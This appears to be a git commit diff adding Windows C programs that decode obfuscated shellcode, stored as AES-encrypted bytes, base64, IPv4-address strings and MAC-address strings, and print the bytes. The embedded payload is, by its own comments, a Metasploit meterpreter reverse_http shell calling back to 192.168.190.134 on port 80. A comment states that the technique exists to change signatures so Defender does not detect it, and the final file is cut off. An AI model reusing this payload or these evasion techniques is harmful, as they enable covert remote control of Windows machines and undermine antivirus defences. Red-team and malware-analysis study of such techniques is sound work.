data: add .c

2026-06-08 13:53:31 +00:00 · 2025-05-20 23:02:16 +02:00
parent 077ca4455e
commit 77f9b51047
19 changed files with 1070 additions and 1 deletions
@@ -1,4 +1,4 @@
-*_work.c
+chromatophore/*_work.c
 output/
 __pycache__
 *.obj
@@ -0,0 +1,63 @@
+#include <windows.h>
+#include <stdio.h>
+#include <wincrypt.h>
+#pragma comment (lib, "crypt32.lib")
+#pragma comment (lib, "advapi32")
+
+// compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
+
+int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
+    HCRYPTPROV hProv;
+    HCRYPTHASH hHash;
+    HCRYPTKEY hKey;
+
+    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
+            return -1;
+    }
+    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
+            return -1;
+    }
+    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
+            return -1;              
+    }
+    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
+            return -1;
+    }
+    
+    if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
+            return -1;
+    }
+    
+    CryptReleaseContext(hProv, 0);
+    CryptDestroyHash(hHash);
+    CryptDestroyKey(hKey);
+	
+    return 0;
+}
+
+int main(void)
+{
+	
+
+	char AESkey[] = { 0x44, 0xf0, 0xe3, 0x82, 0x9, 0x1c, 0x9f, 0xfa, 0x67, 0x1d, 0xea, 0xca, 0x90, 0xc5, 0x18, 0x52 };
+
+char shellcode[] = { 0x24, 0xbd, 0x3a, 0x32, 0xfe, 0xda, 0xfc, 0x89, 0xad, 0x45, 0x5f, 0xc1, 0xdb, 0x36, 0x61, 0xf6, 0x36, 0xe, 0x2a, 0xb3, 0xbe, 0xe2, 0x44, 0x7b, 0xd7, 0xf1, 0xc4, 0x9f, 0x66, 0x42, 0x14, 0x6f, 0x2c, 0xe0, 0x5c, 0xca, 0xec, 0xeb, 0x0, 0xf7, 0x2b, 0x3a, 0x60, 0xb5, 0x11, 0x19, 0xb5, 0x42, 0x49, 0xc, 0x57, 0x40, 0x9f, 0x1a, 0xde, 0x6a, 0xb, 0x0, 0xf1, 0xfe, 0x17, 0xc1, 0xb3, 0x1d, 0x3, 0x42, 0xbd, 0xca, 0x5c, 0xdf, 0xf1, 0xb5, 0x19, 0x5c, 0x71, 0x36, 0xf8, 0xc8, 0x7d, 0x2f, 0xb1, 0xca, 0xc, 0x9d, 0x23, 0xd2, 0xc4, 0x7d, 0xd5, 0xd7, 0xd9, 0x74, 0x37, 0x8b, 0x13, 0x43, 0x8c, 0xbd, 0x9a, 0xc2, 0xa7, 0xc4, 0xbc, 0x4e, 0xe, 0xbc, 0xe0, 0xc4, 0x25, 0x49, 0x9c, 0x45, 0xf, 0x1, 0x9f, 0xce, 0xa5, 0x18, 0x9e, 0x13, 0xb6, 0x1d, 0x1, 0xda, 0x60, 0x12, 0x2b, 0xeb, 0x4a, 0xa4, 0xd4, 0x3c, 0xea, 0xff, 0x6f, 0x96, 0x9f, 0x15, 0x4e, 0xef, 0x40, 0xfa, 0xb6, 0x9c, 0x9b, 0xd6, 0x3d, 0x45, 0xfe, 0xa0, 0xc, 0xb4, 0x57, 0xda, 0xd5, 0x9b, 0xb3, 0xf2, 0xf1, 0xaf, 0x98, 0x52, 0x80, 0xb1, 0x59, 0x2a, 0x9b, 0xfe, 0x6a, 0x60, 0xe6, 0x8d, 0x98, 0xdd, 0x65, 0xa3, 0x5, 0x73, 0x6e, 0xbc, 0x3f, 0x1f, 0xa1, 0x70, 0x41, 0x9e, 0x55, 0x2e, 0x39, 0x8e, 0xd5, 0xc6, 0xb6, 0x4, 0x35, 0x3e, 0xaf, 0x67, 0x55, 0xce, 0xbc, 0x79, 0xe4, 0xf3, 0x8d, 0xe5, 0xe8, 0x5e, 0xd0, 0x94, 0xd1, 0x23, 0x4f, 0xf6, 0x61, 0x84, 0x46, 0xfe, 0xf, 0xe5, 0xc7, 0xf4, 0xac, 0x90, 0x82, 0x54, 0x5b, 0x44, 0x8c, 0x99, 0xc1, 0xd3, 0x56, 0x22, 0xd0, 0x90, 0xb9, 0x4e, 0xe2, 0x55, 0x39, 0xe5, 0xab, 0x93, 0xc2, 0xc0, 0xaa, 0x76, 0x7d, 0xc5, 0xf0, 0x7f, 0x9c, 0xcc, 0x57, 0x84, 0x9c, 0x72, 0x8b, 0xec, 0x5e, 0x8b, 0x3d, 0x35, 0x96, 0xf0, 0xb, 0xb2, 0x68, 0x79, 0x5b, 0xd0, 0x96, 0x16, 0x39, 0xd2, 0xd1, 0xeb, 0xc7, 0x44, 0x5f, 0x9c, 0xd1, 0xac, 0xce, 0x59, 0x9b, 0x2b, 0x13, 0x22, 0x88, 0x73, 0x78, 0x9c, 0xb1, 0xaf, 0x61, 0xb3, 0xbb, 0x89, 0xbc, 0xeb, 0xb9, 0xa3, 0x7f, 0xa, 0x46, 0xa0, 0x25, 0xa3, 0x9b, 0xc5, 0xa6, 0x40, 0x5b, 0xb7, 0x9f, 0x7c, 0xfa, 0xd1, 0xd6, 0x7d, 0xe0, 0x0, 0xfb, 0x4a, 0x99, 0xf7, 0x3b, 0xf3, 0x2, 0x60, 0x7d, 0xdf, 0x42, 0xc1, 0x93, 0x68, 0x71, 0x1, 0x20, 0x46, 0x80, 0x2b, 0x74, 0x80, 0xbd, 0x97, 0x8d, 0x86, 0xf8, 0x73, 0x12, 0x91, 0x95, 0xc8, 0x3a, 0xe9, 0xeb, 0x33, 0x8e, 0x55, 0xba, 0x78, 0x65, 0xda, 0x43, 0x1a, 0x8c, 0x8a, 0xc7, 0x37, 0xc6, 0x9d, 0xb9, 0xdd, 0xff, 0x13, 0x1, 0xe, 0x64, 0xa5, 0xc1, 0xa8, 0x57, 0x2, 0x2f, 0x4c, 0x50, 0x34, 0x7e, 0x98, 0x45, 0x2e, 0x9a, 0x88, 0x2e, 0xe6, 0xe, 0xd7, 0x26, 0x92, 0x4e, 0x8f, 0xb, 0x9, 0x12, 0x81, 0xd4, 0x70, 0x23, 0xb0, 0x2c, 0x84, 0xc6, 0xd8, 0xdd, 0xe5, 0xb3, 0xd8, 0x66, 0xf5, 0x76, 0x1a, 0x72, 0x3a, 0x77, 0x24, 0x64, 0x6e, 0xa0, 0x91, 0x36, 0x56, 0xad, 0xb7, 0xfa, 0x49, 0xe8, 0xf1, 0x53, 0xb7, 0x6b, 0xfb, 0xdd, 0x7, 0x6b, 0xb4, 0x5d, 0x63, 0x44, 0x71, 0x97, 0xd3, 0xf2, 0x36, 0xf1, 0x45, 0x72, 0x9e, 0x9d, 0xb6, 0xa1, 0xec, 0x9b, 0x7d, 0x39, 0xa0, 0x95, 0x28, 0xf7, 0x60, 0xc5, 0x25, 0x35, 0x56, 0x46, 0xe9, 0x42, 0xda, 0xdb, 0xa, 0xa7, 0x82, 0x18, 0x85, 0x94, 0x73, 0x8e, 0xd8, 0x49, 0xc, 0x5d, 0x3c, 0x39, 0x1, 0x70, 0x92, 0xd4, 0x3e, 0xcc, 0xea, 0x9, 0x32, 0x75, 0x7a, 0x28, 0x89, 0x9f, 0xad, 0x84, 0x3, 0xdd, 0xde, 0x3a, 0x84, 0x86, 0x2, 0xb2, 0x72, 0xe2, 0x16, 0xde, 0x81, 0x9b, 0x80, 0xe5, 0x7f, 0xc1, 0xf4, 0x84, 0x1e, 0x29, 0x18, 0xe3, 0xed, 0x44, 0x31, 0xc1, 0x2c, 0xc6, 0x19, 0xfa, 0x56, 0x15, 0xc8, 0xbe, 0x12, 0x6a, 0xc4, 0x63, 0x71, 0xc1, 0x7a, 0x59, 0x5c, 0x79, 0x91, 0xdd, 0x16, 0x2d, 0x21, 0x46, 0xd2, 0xed, 0x25, 0x81, 0x8b, 0xb5, 0x72, 0xd1, 0xa0, 0xde, 0x68, 0x1a, 0x60, 0xbf, 0x36, 0x74, 0xf2, 0x1e, 0xfc, 0xdf, 0x4c, 0x23, 0x66, 0xcd, 0x5d, 0xef, 0xf8, 0x2f, 0x85, 0xee, 0xc7, 0x8c, 0xc7, 0x63, 0xc7, 0x9c, 0x1a, 0x58, 0xa0, 0x84, 0x4f, 0xda, 0x5c, 0xd1, 0xd0, 0xf1, 0x88, 0xf9, 0x81, 0xd8, 0x5f, 0xdd, 0xe2, 0x18, 0x69, 0x79, 0xe1, 0xc, 0x5f, 0x80, 0xf8, 0xfa, 0x66, 0xa7, 0x54, 0x7a, 0xff, 0x61, 0x67, 0x98, 0xc7, 0xa7, 0x1e, 0x54, 0xe2, 0xe6, 0xb9, 0xbb, 0xd3, 0x7e, 0x94, 0x99, 0x82, 0x45, 0xb0, 0x49, 0x85, 0x43, 0x65, 0x10, 0xde, 0x5f, 0x1d, 0xb, 0xc3, 0x91, 0xbf, 0x9d, 0xcc, 0x7, 0x67, 0xbb, 0x4a, 0xd0, 0xcd, 0x11, 0x9d, 0xa7, 0xfd, 0x67, 0xea, 0x51, 0x81, 0x7e, 0x92, 0xf4, 0x7, 0x3f, 0xc0, 0xc8, 0x43, 0xbe, 0x5f, 0x2f, 0x77, 0x56, 0x20, 0x48, 0xd4, 0x1d, 0xa0, 0x8a, 0x7, 0xf1, 0xf6, 0x8b, 0x94, 0x55, 0xca, 0xd6, 0xe6, 0x8d, 0xca, 0xae, 0x6a, 0xad, 0x26, 0xe5, 0x70, 0xf3, 0xb8, 0x89, 0x46, 0x19, 0x41, 0x71, 0x73 };
+
+	AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey));
+
+	int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+	
+	return 0;
+}
@@ -0,0 +1,67 @@
+#include <windows.h>
+#include <stdio.h>
+
+
+int b64index(char c) {
+    if (c >= 'A' && c <= 'Z') return c - 'A';
+    if (c >= 'a' && c <= 'z') return c - 'a' + 26;
+    if (c >= '0' && c <= '9') return c - '0' + 52;
+    if (c == '+') return 62;
+    if (c == '/') return 63;
+    return -1;
+}
+
+
+int base64_decode(const char* input, unsigned char* output) {
+    int len = strlen(input);
+    int out_idx = 0, val = 0, valb = -8;
+
+    for (int i = 0; i < len; i++) {
+        int idx = b64index(input[i]);
+        if (idx == -1) continue;
+        val = (val << 6) + idx;
+        valb += 6;
+        if (valb >= 0) {
+            output[out_idx++] = (val >> valb) & 0xFF;
+            valb -= 8;
+        }
+    }
+
+    return out_idx;
+}
+
+
+int main() {
+	
+
+	const char* base64 = "/EiD5PDozAAAAEFRQVBSSDHSZUiLUmBIi1IYSItSIFFWSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZI/8lBizSITTHJSAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVhIAdBeWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1PocAAAAE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzEuMC4wLjAgU2FmYXJpLzUzNy4zNgBZU1pNMcBNMclTU0m6OlZ5pwAAAAD/1egQAAAAMTkyLjE2OC4xOTAuMTM0AFpIicFJx8BQAAAATTHJU1NqA1NJuleJn8YAAAAA/9XoSwAAAC91d0RpWVJOcmNtek83TV91cHNBQlB3al9sbmlrNDg3X0dhQjJTTXRlMWxqWGZEUHQ5OUZidFFBWDVxVmIxUmlBVEpPbnF2eHUtAEiJwVNaQVhNMclTSLgAAiiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX1NaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC68zoVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V";
+DWORD shellcodeLen = 711;
+
+
+    BYTE* shellcode = (BYTE*)malloc(shellcodeLen);
+    if (!shellcode) {
+        fprintf(stderr, "Memory allocation failed.\n");
+        return 1;
+    }
+
+    base64_decode(base64, shellcode);
+
+
+    int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+	
+
+    free(shellcode);
+    return 0;
+}
@@ -0,0 +1,51 @@
+#include <windows.h>
+#include <stdio.h>
+#include <wincrypt.h>
+
+#pragma comment(lib, "Crypt32.lib")
+
+
+int main() {
+	
+
+	const char* base64 = "/EiD5PDozAAAAEFRQVBSSDHSZUiLUmBIi1IYSItSIFFWSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZI/8lBizSITTHJSAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVhIAdBeWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1PocAAAAE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzEuMC4wLjAgU2FmYXJpLzUzNy4zNgBZU1pNMcBNMclTU0m6OlZ5pwAAAAD/1egQAAAAMTkyLjE2OC4xOTAuMTM0AFpIicFJx8BQAAAATTHJU1NqA1NJuleJn8YAAAAA/9XoSwAAAC91d0RpWVJOcmNtek83TV91cHNBQlB3al9sbmlrNDg3X0dhQjJTTXRlMWxqWGZEUHQ5OUZidFFBWDVxVmIxUmlBVEpPbnF2eHUtAEiJwVNaQVhNMclTSLgAAiiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX1NaSInxTTHJTTHJU1NJx8ItBhh7/9WFwHUfSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QC68zoVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V";
+
+
+    DWORD shellcodeLen = 0;
+
+    // First, get required buffer size
+    CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, NULL, &shellcodeLen, NULL, NULL);
+
+    BYTE* shellcode = (BYTE*)malloc(shellcodeLen);
+    if (!shellcode) {
+        fprintf(stderr, "Memory allocation failed.\n");
+        return 1;
+    }
+
+    if (CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, shellcode, &shellcodeLen, NULL, NULL)) {
+        printf("shellcode (%lu bytes):\n", shellcodeLen);
+        fwrite(shellcode, 1, shellcodeLen, stdout);
+        printf("\n");
+    } else {
+        fprintf(stderr, "Decoding failed. Error code: %lu\n", GetLastError());
+    }
+
+
+    int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+	
+
+    free(shellcode);
+    return 0;
+}
@@ -0,0 +1,123 @@
+#include <Windows.h>
+#include <stdio.h>
+#include <ntstatus.h>
+#include <Ip2string.h>
+#pragma comment(lib, "Ntdll.lib")
+
+// read array of shellcode formatted as IPv4 addresses
+// https://gitlab.com/ORCA000/hellshell/-/blob/main/IPv4Fuscation/Ipv4Fuscation.cpp
+// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
+
+// compile: 
+//  cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
+
+// Define our ustring struct
+struct ustring {
+	DWORD Length;
+	DWORD MaximumLength;
+	PUCHAR Buffer;
+} _data, key;
+
+int DecodeIPv4Fuscation(const char* IPV4[], void * LpBaseAddress, int arrSize) {
+	// Defender will detect this function if we don't do something to change the signature
+	// Write some output to the NULL device
+	FILE* outfile = fopen("nul", "w");
+	
+	PCSTR Terminator = NULL;
+	void * LpBaseAddress2 = NULL;
+	NTSTATUS STATUS;
+	int i = 0;
+
+	for (int j = 0; j < arrSize; j++) {
+		LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
+		if (RtlIpv4StringToAddressA((PCSTR)IPV4[j], TRUE, &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
+			printf("[!] RtlIpv4StringToAddressA failed for %s result %x", IPV4[j], STATUS);
+			return 1;
+		}
+		else {
+			i = i + 4;
+			fputs("out", outfile);
+		}
+
+		fclose(outfile); // close the decoy file
+
+	}
+	return 0;
+}
+
+int main(void) {
+	// Shellcode as array of IP Addresses
+	// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
+	// python3 bin2ip.py -v 4 -i met.bin
+	
+
+	const char* IPv4s[] = {
+  "252.72.131.228", "240.232.204.0", "0.0.65.81", "65.80.82.72", "49.210.101.72",
+  "139.82.96.72", "139.82.24.72", "139.82.32.81", "86.72.15.183", "74.74.72.139",
+  "114.80.77.49", "201.72.49.192", "172.60.97.124", "2.44.32.65", "193.201.13.65",
+  "1.193.226.237", "82.72.139.82", "32.139.66.60", "65.81.72.1", "208.102.129.120",
+  "24.11.2.15", "133.114.0.0", "0.139.128.136", "0.0.0.72", "133.192.116.103",
+  "72.1.208.68", "139.64.32.73", "1.208.139.72", "24.80.227.86", "72.255.201.65",
+  "139.52.136.77", "49.201.72.1", "214.72.49.192", "172.65.193.201", "13.65.1.193",
+  "56.224.117.241", "76.3.76.36", "8.69.57.209", "117.216.88.68", "139.64.36.73",
+  "1.208.102.65", "139.12.72.68", "139.64.28.73", "1.208.65.139", "4.136.65.88",
+  "65.88.72.1", "208.94.89.90", "65.88.65.89", "65.90.72.131", "236.32.65.82",
+  "255.224.88.65", "89.90.72.139", "18.233.75.255", "255.255.93.72", "49.219.83.73",
+  "190.119.105.110", "105.110.101.116", "0.65.86.72", "137.225.73.199", "194.76.119.38",
+  "7.255.213.83", "83.232.112.0", "0.0.77.111", "122.105.108.108", "97.47.53.46",
+  "48.32.40.87", "105.110.100.111", "119.115.32.78", "84.32.49.48", "46.48.59.32",
+  "87.105.110.54", "52.59.32.120", "54.52.41.32", "65.112.112.108", "101.87.101.98",
+  "75.105.116.47", "53.51.55.46", "51.54.32.40", "75.72.84.77", "76.44.32.108",
+  "105.107.101.32", "71.101.99.107", "111.41.32.67", "104.114.111.109", "101.47.49.51",
+  "49.46.48.46", "48.46.48.32", "83.97.102.97", "114.105.47.53", "51.55.46.51",
+  "54.0.89.83", "90.77.49.192", "77.49.201.83", "83.73.186.58", "86.121.167.0",
+  "0.0.0.255", "213.232.16.0", "0.0.49.57", "50.46.49.54", "56.46.49.57",
+  "48.46.49.51", "52.0.90.72", "137.193.73.199", "192.80.0.0", "0.77.49.201",
+  "83.83.106.3", "83.73.186.87", "137.159.198.0", "0.0.0.255", "213.232.75.0",
+  "0.0.47.117", "119.68.105.89", "82.78.114.99", "109.122.79.55", "77.95.117.112",
+  "115.65.66.80", "119.106.95.108", "110.105.107.52", "56.55.95.71", "97.66.50.83",
+  "77.116.101.49", "108.106.88.102", "68.80.116.57", "57.70.98.116", "81.65.88.53",
+  "113.86.98.49", "82.105.65.84", "74.79.110.113", "118.120.117.45", "0.72.137.193",
+  "83.90.65.88", "77.49.201.83", "72.184.0.2", "40.132.0.0", "0.0.80.83",
+  "83.73.199.194", "235.85.46.59", "255.213.72.137", "198.106.10.95", "83.90.72.137",
+  "241.77.49.201", "77.49.201.83", "83.73.199.194", "45.6.24.123", "255.213.133.192",
+  "117.31.72.199", "193.136.19.0", "0.73.186.68", "240.53.224.0", "0.0.0.255",
+  "213.72.255.207", "116.2.235.204", "232.85.0.0", "0.83.89.106", "64.90.73.137",
+  "209.193.226.16", "73.199.192.0", "16.0.0.73", "186.88.164.83", "229.0.0.0",
+  "0.255.213.72", "147.83.83.72", "137.231.72.137", "241.72.137.218", "73.199.192.0",
+  "32.0.0.73", "137.249.73.186", "18.150.137.226", "0.0.0.0", "255.213.72.131",
+  "196.32.133.192", "116.178.102.139", "7.72.1.195", "133.192.117.210", "88.195.88.106",
+  "0.89.73.199", "194.240.181.162", "86.255.213.144" };
+	
+	// declare a variable for our shellcode size
+ 	unsigned int shellcode_size = (sizeof(IPv4s) / sizeof(IPv4s[0])) * 4;
+	
+	// Declare a buffer for storing our shellcode
+	PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+	
+    // Decode IPs and copy into memory
+    if (DecodeIPv4Fuscation(&IPv4s, buffer, sizeof(IPv4s) / sizeof(IPv4s[0])) != 0) {
+            return -1;
+    }
+
+	// create a new struct from the buffer we allocated
+	_data.Buffer = buffer;
+	_data.Length = shellcode_size;
+	
+	int idx = 0;
+	while ( idx < _data.Length)
+	{
+		if (idx == (shellcode_size - 1) )
+		{
+			printf("0x%02x ", _data.Buffer[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", _data.Buffer[idx]);
+		}
+		idx++;
+	}
+
+    return 0;
+}
+
@@ -0,0 +1,110 @@
+#include <Windows.h>
+#include <stdio.h>
+#include <ntstatus.h>
+#include <Ip2string.h>
+#pragma comment(lib, "Ntdll.lib")
+
+// read array of shellcode formatted as MAC addresses
+// https://gitlab.com/ORCA000/hellshell/-/blob/main/MacFuscation/MacFuscation.cpp
+// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
+
+// compile: 
+//  cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
+
+// Define our ustring struct
+struct ustring {
+	DWORD Length;
+	DWORD MaximumLength;
+	PUCHAR Buffer;
+} _data, key;
+
+int DecodeMACFuscation(const char* MAC[], void * LpBaseAddress, int arrSize) {	
+	PCSTR Terminator = NULL;
+	void * LpBaseAddress2 = NULL;
+	NTSTATUS STATUS;
+	int i = 0;
+	for (int j = 0; j < arrSize; j++) {
+		LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
+		if (RtlEthernetStringToAddressA((PCSTR)MAC[j], &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
+			printf("[!] RtlEthernetStringToAddressA failed for %s result %x", MAC[j], STATUS);
+			return 1;
+		}
+		else {
+			i = i + 6;
+		}
+	}
+	return 0;
+}
+
+int main(void) {
+	// Shellcode as array of MAC Addresses
+	// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
+	// python3 bin2mac.py -i met.bin
+	
+
+	const char* MACs[] = {
+ 	  "fc-48-83-e4-f0-e8", "cc-00-00-00-41-51", "41-50-52-48-31-d2", "65-48-8b-52-60-48",
+ 	  "8b-52-18-48-8b-52", "20-51-56-48-0f-b7", "4a-4a-48-8b-72-50", "4d-31-c9-48-31-c0",
+ 	  "ac-3c-61-7c-02-2c", "20-41-c1-c9-0d-41", "01-c1-e2-ed-52-48", "8b-52-20-8b-42-3c",
+ 	  "41-51-48-01-d0-66", "81-78-18-0b-02-0f", "85-72-00-00-00-8b", "80-88-00-00-00-48",
+ 	  "85-c0-74-67-48-01", "d0-44-8b-40-20-49", "01-d0-8b-48-18-50", "e3-56-48-ff-c9-41",
+ 	  "8b-34-88-4d-31-c9", "48-01-d6-48-31-c0", "ac-41-c1-c9-0d-41", "01-c1-38-e0-75-f1",
+ 	  "4c-03-4c-24-08-45", "39-d1-75-d8-58-44", "8b-40-24-49-01-d0", "66-41-8b-0c-48-44",
+ 	  "8b-40-1c-49-01-d0", "41-8b-04-88-41-58", "41-58-48-01-d0-5e", "59-5a-41-58-41-59",
+ 	  "41-5a-48-83-ec-20", "41-52-ff-e0-58-41", "59-5a-48-8b-12-e9", "4b-ff-ff-ff-5d-48",
+ 	  "31-db-53-49-be-77", "69-6e-69-6e-65-74", "00-41-56-48-89-e1", "49-c7-c2-4c-77-26",
+ 	  "07-ff-d5-53-53-e8", "70-00-00-00-4d-6f", "7a-69-6c-6c-61-2f", "35-2e-30-20-28-57",
+ 	  "69-6e-64-6f-77-73", "20-4e-54-20-31-30", "2e-30-3b-20-57-69", "6e-36-34-3b-20-78",
+ 	  "36-34-29-20-41-70", "70-6c-65-57-65-62", "4b-69-74-2f-35-33", "37-2e-33-36-20-28",
+ 	  "4b-48-54-4d-4c-2c", "20-6c-69-6b-65-20", "47-65-63-6b-6f-29", "20-43-68-72-6f-6d",
+ 	  "65-2f-31-33-31-2e", "30-2e-30-2e-30-20", "53-61-66-61-72-69", "2f-35-33-37-2e-33",
+ 	  "36-00-59-53-5a-4d", "31-c0-4d-31-c9-53", "53-49-ba-3a-56-79", "a7-00-00-00-00-ff",
+ 	  "d5-e8-10-00-00-00", "31-39-32-2e-31-36", "38-2e-31-39-30-2e", "31-33-34-00-5a-48",
+ 	  "89-c1-49-c7-c0-50", "00-00-00-4d-31-c9", "53-53-6a-03-53-49", "ba-57-89-9f-c6-00",
+ 	  "00-00-00-ff-d5-e8", "4b-00-00-00-2f-75", "77-44-69-59-52-4e", "72-63-6d-7a-4f-37",
+ 	  "4d-5f-75-70-73-41", "42-50-77-6a-5f-6c", "6e-69-6b-34-38-37", "5f-47-61-42-32-53",
+ 	  "4d-74-65-31-6c-6a", "58-66-44-50-74-39", "39-46-62-74-51-41", "58-35-71-56-62-31",
+ 	  "52-69-41-54-4a-4f", "6e-71-76-78-75-2d", "00-48-89-c1-53-5a", "41-58-4d-31-c9-53",
+ 	  "48-b8-00-02-28-84", "00-00-00-00-50-53", "53-49-c7-c2-eb-55", "2e-3b-ff-d5-48-89",
+ 	  "c6-6a-0a-5f-53-5a", "48-89-f1-4d-31-c9", "4d-31-c9-53-53-49", "c7-c2-2d-06-18-7b",
+ 	  "ff-d5-85-c0-75-1f", "48-c7-c1-88-13-00", "00-49-ba-44-f0-35", "e0-00-00-00-00-ff",
+ 	  "d5-48-ff-cf-74-02", "eb-cc-e8-55-00-00", "00-53-59-6a-40-5a", "49-89-d1-c1-e2-10",
+ 	  "49-c7-c0-00-10-00", "00-49-ba-58-a4-53", "e5-00-00-00-00-ff", "d5-48-93-53-53-48",
+ 	  "89-e7-48-89-f1-48", "89-da-49-c7-c0-00", "20-00-00-49-89-f9", "49-ba-12-96-89-e2",
+ 	  "00-00-00-00-ff-d5", "48-83-c4-20-85-c0", "74-b2-66-8b-07-48", "01-c3-85-c0-75-d2",
+ 	  "58-c3-58-6a-00-59", "49-c7-c2-f0-b5-a2", "56-ff-d5-90-90-90" };
+	
+	// declare a variable for our shellcode size
+ 	unsigned int shellcode_size = (sizeof(MACs) / sizeof(MACs[0])) * 6; 
+	printf("shellcode size: %d\n", shellcode_size);
+	printf("size of array: %d\n", sizeof(MACs) / sizeof(MACs[0]));
+	
+	// Declare a buffer for storing our shellcode
+	PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+	
+	// Decode IPs and copy into memory
+	if (DecodeMACFuscation(&MACs, buffer, sizeof(MACs) / sizeof(MACs[0])) != 0) {
+		return -1;
+	}
+
+	// create a new struct from the buffer we allocated
+	_data.Buffer = buffer;
+	_data.Length = shellcode_size;
+	
+	int idx = 0;
+	while ( idx < _data.Length)
+	{
+		if (idx == (shellcode_size - 1) )
+		{
+			printf("0x%02x ", _data.Buffer[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", _data.Buffer[idx]);
+		}
+		idx++;
+	}
+
+    return 0;
+}
+
@@ -0,0 +1,37 @@
+#include <windows.h>
+#include <stdio.h>
+
+int main(void)
+{
+	
